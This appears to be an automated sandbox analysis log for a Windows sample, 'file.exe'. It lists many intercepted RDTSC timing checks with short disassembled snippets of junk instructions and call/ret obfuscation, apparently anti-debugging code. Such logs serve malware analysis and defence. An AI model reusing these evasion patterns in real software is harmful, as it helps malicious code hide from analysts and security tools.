Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742C41 second address: 742C4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F3994CD1DB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7458B9 second address: 7458C3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3994C2A2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7458C3 second address: 7458C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7458C9 second address: 7458CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7458CD second address: 7458DF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F3994CD1DB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7458DF second address: 74594A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3994C2A2DEh 0x0000000b popad 0x0000000c nop 0x0000000d push ecx 0x0000000e mov ebx, dword ptr [ebp+122D26D2h] 0x00000014 pop edi 0x00000015 push 00000000h 0x00000017 call 00007F3994C2A2DCh 0x0000001c mov ebx, 1A4A6B63h 0x00000021 pop ebx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007F3994C2A2D8h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e jns 00007F3994C2A2DCh 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 push esi 0x00000049 pop esi 0x0000004a jno 00007F3994C2A2D6h 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74594A second address: 745950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745950 second address: 745954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745954 second address: 745958 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74691E second address: 74695E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F3994C2A2E5h 0x0000000a popad 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D2864h], edx 0x00000012 jmp 00007F3994C2A2DAh 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b pushad 0x0000001c and si, E47Dh 0x00000021 mov bx, 451Ch 0x00000025 popad 0x00000026 xchg eax, esi 0x00000027 push ecx 0x00000028 push ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748A4C second address: 748A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748A50 second address: 748AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3994C2A2DCh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F3994C2A2D8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov di, 3E56h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 jnp 00007F3994C2A2E4h 0x00000038 push eax 0x00000039 push edx 0x0000003a jng 00007F3994C2A2D6h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745AA6 second address: 745AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743B44 second address: 743B48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7499D6 second address: 7499DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743B48 second address: 743B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7499DB second address: 749A55 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3994CD1DC1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c jnc 00007F3994CD1DB8h 0x00000012 pop esi 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F3994CD1DB8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D198Eh], ecx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007F3994CD1DB8h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 mov di, 8C7Eh 0x00000056 mov di, 08DAh 0x0000005a xchg eax, esi 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push esi 0x0000005f pop esi 0x00000060 pop eax 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749A55 second address: 749A5F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3994C2A2DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749A5F second address: 749A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749A6F second address: 749A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A9F3 second address: 74AA06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F3994CD1DB8h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751A63 second address: 751A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751A6E second address: 751A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751A72 second address: 751A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebx 0x0000000e jmp 00007F3994C2A2E1h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7571D6 second address: 7571DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7571DA second address: 7571E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7571E0 second address: 7571E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7571E4 second address: 757236 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3994C2A2DEh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push edx 0x00000016 jmp 00007F3994C2A2E6h 0x0000001b pop edx 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f pushad 0x00000020 push edx 0x00000021 pop edx 0x00000022 jl 00007F3994C2A2D6h 0x00000028 popad 0x00000029 pushad 0x0000002a jns 00007F3994C2A2D6h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757236 second address: 75725B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b jmp 00007F3994CD1DC6h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F2EE second address: 75F2F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DE9D second address: 75DED2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3994CD1DB6h 0x00000008 jno 00007F3994CD1DB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pushad 0x00000012 jmp 00007F3994CD1DC9h 0x00000017 ja 00007F3994CD1DBEh 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DED2 second address: 75DEE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3994C2A2DEh 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E56B second address: 75E584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E584 second address: 75E58E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E58E second address: 75E592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E592 second address: 75E596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E596 second address: 75E5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c popad 0x0000000d jo 00007F3994CD1DC8h 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E71E second address: 75E722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E722 second address: 75E72A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E72A second address: 75E744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F3994C2A2D6h 0x0000000a jmp 00007F3994C2A2E0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E897 second address: 75E89B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA15 second address: 75EA23 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3994C2A2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA23 second address: 75EA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994CD1DBDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA34 second address: 75EA3A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA3A second address: 75EA49 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F3994CD1DBAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EE98 second address: 75EE9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EE9E second address: 75EEA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EEA2 second address: 75EEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994C2A2E3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F3994C2A2D6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EFE7 second address: 75EFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EFED second address: 75EFF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EFF6 second address: 75EFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EFFC second address: 75F00B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 ja 00007F3994C2A2D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F00B second address: 75F00F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F00F second address: 75F015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F015 second address: 75F028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jl 00007F3994CD1DCCh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F18D second address: 75F1AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3994C2A2E5h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76246E second address: 762473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762473 second address: 76247F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F3994C2A2D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7669E1 second address: 7669EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7669EF second address: 766A07 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jng 00007F3994C2A2D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007F3994C2A2DCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766A07 second address: 766A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 je 00007F3994CD1DB6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766B76 second address: 766B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766CAE second address: 766CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F3994CD1DB6h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766CBF second address: 766CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766CC3 second address: 766CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766E44 second address: 766E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994C2A2E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766E5F second address: 766E85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC8h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F3994CD1DC2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766E85 second address: 766E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767486 second address: 76748D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76748D second address: 7674DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F3994C2A2D6h 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e jmp 00007F3994C2A2E1h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jnl 00007F3994C2A2DAh 0x0000001c jmp 00007F3994C2A2DBh 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 pop eax 0x00000025 jmp 00007F3994C2A2E2h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76762A second address: 767647 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jp 00007F3994CD1DB6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767647 second address: 767665 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E8h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767665 second address: 76766B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715503 second address: 715515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F3994C2A2DCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715515 second address: 715519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715519 second address: 715526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715526 second address: 71552D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71552D second address: 71554C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3994C2A2E9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71554C second address: 71556A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3994CD1DC6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767AAE second address: 767AD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E9h 0x00000007 jg 00007F3994C2A2D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7663D9 second address: 7663E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7663E1 second address: 7663EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B422 second address: 76B426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B426 second address: 76B42A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B42A second address: 76B453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F3994CD1DC6h 0x0000000c jmp 00007F3994CD1DBBh 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B453 second address: 76B458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B458 second address: 76B478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3994CD1DC4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B478 second address: 76B47C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B47C second address: 76B49B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994CD1DBAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F3994CD1DBBh 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
